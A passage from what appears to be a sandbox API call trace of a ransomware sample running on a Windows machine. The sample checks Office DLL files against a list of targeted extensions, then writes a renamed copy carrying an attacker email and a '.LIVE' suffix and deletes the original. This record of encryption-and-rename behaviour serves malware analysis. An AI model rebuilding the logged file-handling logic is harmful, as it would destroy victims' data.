Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.677] lstrlenW (lpString=".doc") returned 4 [0145.677] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.677] lstrlenW (lpString=".docx") returned 5 [0145.677] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.677] lstrlenW (lpString=".pdf") returned 4 [0145.677] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.677] lstrlenW (lpString=".xls") returned 4 [0145.677] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.677] lstrlenW (lpString=".xlsx") returned 5 [0145.677] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.677] lstrlenW (lpString=".ppt") returned 4 [0145.677] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.677] lstrlenW (lpString=".zip") returned 4 [0145.677] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.677] lstrlenW (lpString=".rar") returned 4 [0145.677] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.677] lstrlenW (lpString=".bz2") returned 4 [0145.677] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.677] lstrlenW (lpString=".7z") returned 3 [0145.677] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.677] lstrlenW (lpString=".dbf") returned 4 [0145.677] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.677] lstrlenW (lpString=".1cd") returned 4 [0145.677] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0145.677] lstrlenW (lpString=".jpg") returned 4 [0145.677] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.677] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0145.677] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0145.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.193] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=171368) returned 1 [0146.193] CloseHandle (hObject=0x39c) returned 1 [0146.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll")) returned 0x20 [0146.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.209] lstrlenW (lpString=".doc") returned 4 [0146.209] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.209] lstrlenW (lpString=".docx") returned 5 [0146.209] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0146.209] lstrlenW (lpString=".pdf") returned 4 [0146.209] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.209] lstrlenW (lpString=".xls") returned 4 [0146.209] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.210] lstrlenW (lpString=".xlsx") returned 5 [0146.210] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0146.210] lstrlenW (lpString=".ppt") returned 4 [0146.210] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.210] lstrlenW (lpString=".zip") returned 4 [0146.210] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.210] lstrlenW (lpString=".rar") returned 4 [0146.210] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.210] lstrlenW (lpString=".bz2") returned 4 [0146.210] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.210] lstrlenW (lpString=".7z") returned 3 [0146.210] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.210] lstrlenW (lpString=".dbf") returned 4 [0146.210] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.210] lstrlenW (lpString=".1cd") returned 4 [0146.210] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.210] lstrlenW (lpString=".jpg") returned 4 [0146.210] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.210] lstrlenW (lpString=".doc") returned 4 [0146.210] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.210] lstrlenW (lpString=".docx") returned 5 [0146.210] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0146.210] lstrlenW (lpString=".pdf") returned 4 [0146.210] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.210] lstrlenW (lpString=".xls") returned 4 [0146.210] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.210] lstrlenW (lpString=".xlsx") returned 5 [0146.210] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0146.210] lstrlenW (lpString=".ppt") returned 4 [0146.211] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.211] lstrlenW (lpString=".zip") returned 4 [0146.211] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.211] lstrlenW (lpString=".rar") returned 4 [0146.211] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.211] lstrlenW (lpString=".bz2") returned 4 [0146.211] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.211] lstrlenW (lpString=".7z") returned 3 [0146.211] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.211] lstrlenW (lpString=".dbf") returned 4 [0146.211] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.211] lstrlenW (lpString=".1cd") returned 4 [0146.211] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0146.211] lstrlenW (lpString=".jpg") returned 4 [0146.211] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.211] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0146.211] lstrlenW (lpString="STSLISTI.DLL") returned 12 [0146.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.229] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=88464) returned 1 [0146.232] CloseHandle (hObject=0x3b4) returned 1 [0146.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll")) returned 0x20 [0146.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.384] lstrlenW (lpString=".doc") returned 4 [0146.384] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.384] lstrlenW (lpString=".docx") returned 5 [0146.384] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0146.384] lstrlenW (lpString=".pdf") returned 4 [0146.384] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.384] lstrlenW (lpString=".xls") returned 4 [0146.384] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.384] lstrlenW (lpString=".xlsx") returned 5 [0146.385] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0146.385] lstrlenW (lpString=".ppt") returned 4 [0146.385] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.385] lstrlenW (lpString=".zip") returned 4 [0146.385] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.385] lstrlenW (lpString=".rar") returned 4 [0146.385] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.385] lstrlenW (lpString=".bz2") returned 4 [0146.385] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.385] lstrlenW (lpString=".7z") returned 3 [0146.385] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.385] lstrlenW (lpString=".dbf") returned 4 [0146.385] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.385] lstrlenW (lpString=".1cd") returned 4 [0146.385] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.385] lstrlenW (lpString=".jpg") returned 4 [0146.385] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.385] lstrlenW (lpString=".doc") returned 4 [0146.385] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.385] lstrlenW (lpString=".docx") returned 5 [0146.385] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0146.385] lstrlenW (lpString=".pdf") returned 4 [0146.385] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.386] lstrlenW (lpString=".xls") returned 4 [0146.386] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.386] lstrlenW (lpString=".xlsx") returned 5 [0146.386] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0146.386] lstrlenW (lpString=".ppt") returned 4 [0146.386] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.386] lstrlenW (lpString=".zip") returned 4 [0146.386] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.386] lstrlenW (lpString=".rar") returned 4 [0146.386] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.386] lstrlenW (lpString=".bz2") returned 4 [0146.386] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.386] lstrlenW (lpString=".7z") returned 3 [0146.386] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.386] lstrlenW (lpString=".dbf") returned 4 [0146.386] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.386] lstrlenW (lpString=".1cd") returned 4 [0146.386] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0146.386] lstrlenW (lpString=".jpg") returned 4 [0146.386] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.386] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0146.386] lstrlenW (lpString="VISBRRES.DLL") returned 12 [0146.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.387] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=37264) returned 1 [0146.387] CloseHandle (hObject=0x384) returned 1 [0146.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll")) returned 0x20 [0146.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.388] lstrlenW (lpString=".doc") returned 4 [0146.388] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.388] lstrlenW (lpString=".docx") returned 5 [0146.388] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0146.388] lstrlenW (lpString=".pdf") returned 4 [0146.388] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.388] lstrlenW (lpString=".xls") returned 4 [0146.388] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.388] lstrlenW (lpString=".xlsx") returned 5 [0146.388] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0146.388] lstrlenW (lpString=".ppt") returned 4 [0146.388] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.388] lstrlenW (lpString=".zip") returned 4 [0146.388] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.388] lstrlenW (lpString=".rar") returned 4 [0146.388] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.388] lstrlenW (lpString=".bz2") returned 4 [0146.388] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.388] lstrlenW (lpString=".7z") returned 3 [0146.388] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.389] lstrlenW (lpString=".dbf") returned 4 [0146.389] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.389] lstrlenW (lpString=".1cd") returned 4 [0146.389] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.389] lstrlenW (lpString=".jpg") returned 4 [0146.389] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.389] lstrlenW (lpString=".doc") returned 4 [0146.389] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.389] lstrlenW (lpString=".docx") returned 5 [0146.389] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0146.389] lstrlenW (lpString=".pdf") returned 4 [0146.389] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.389] lstrlenW (lpString=".xls") returned 4 [0146.389] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.389] lstrlenW (lpString=".xlsx") returned 5 [0146.389] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0146.389] lstrlenW (lpString=".ppt") returned 4 [0146.389] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.389] lstrlenW (lpString=".zip") returned 4 [0146.389] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.389] lstrlenW (lpString=".rar") returned 4 [0146.389] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.389] lstrlenW (lpString=".bz2") returned 4 [0146.389] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.390] lstrlenW (lpString=".7z") returned 3 [0146.390] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.390] lstrlenW (lpString=".dbf") returned 4 [0146.390] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.390] lstrlenW (lpString=".1cd") returned 4 [0146.390] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0146.390] lstrlenW (lpString=".jpg") returned 4 [0146.390] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.390] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0146.390] lstrlenW (lpString="VISBRRES.DLL.IDX_DLL") returned 20 [0146.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.391] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=19328) returned 1 [0146.391] CloseHandle (hObject=0x384) returned 1 [0146.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll")) returned 0x20 [0146.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.391] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.391] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0146.392] GetLastError () returned 0x0 [0146.392] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x4b80, lpOverlapped=0x0) returned 1 [0146.397] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x4b90, lpOverlapped=0x0) returned 1 [0146.398] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.398] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0146.398] SetEndOfFile (hFile=0x36c) returned 1 [0146.398] CloseHandle (hObject=0x36c) returned 1 [0146.398] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.398] SetEndOfFile (hFile=0x384) returned 1 [0146.401] CloseHandle (hObject=0x384) returned 1 [0146.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll")) returned 1 [0146.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.402] lstrlenW (lpString=".doc") returned 4 [0146.402] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0146.402] lstrlenW (lpString=".docx") returned 5 [0146.402] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0146.402] lstrlenW (lpString=".pdf") returned 4 [0146.402] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0146.402] lstrlenW (lpString=".xls") returned 4 [0146.402] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0146.402] lstrlenW (lpString=".xlsx") returned 5 [0146.402] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0146.402] lstrlenW (lpString=".ppt") returned 4 [0146.402] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0146.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.402] lstrlenW (lpString=".zip") returned 4 [0146.402] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0146.402] lstrlenW (lpString=".rar") returned 4 [0146.402] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0146.402] lstrlenW (lpString=".bz2") returned 4 [0146.402] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0146.402] lstrlenW (lpString=".7z") returned 3 [0146.402] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.402] lstrlenW (lpString=".dbf") returned 4 [0146.402] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0146.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.403] lstrlenW (lpString=".1cd") returned 4 [0146.403] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.403] lstrlenW (lpString=".jpg") returned 4 [0146.403] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.403] lstrlenW (lpString=".doc") returned 4 [0146.403] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString=".docx") returned 5 [0146.403] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0146.403] lstrlenW 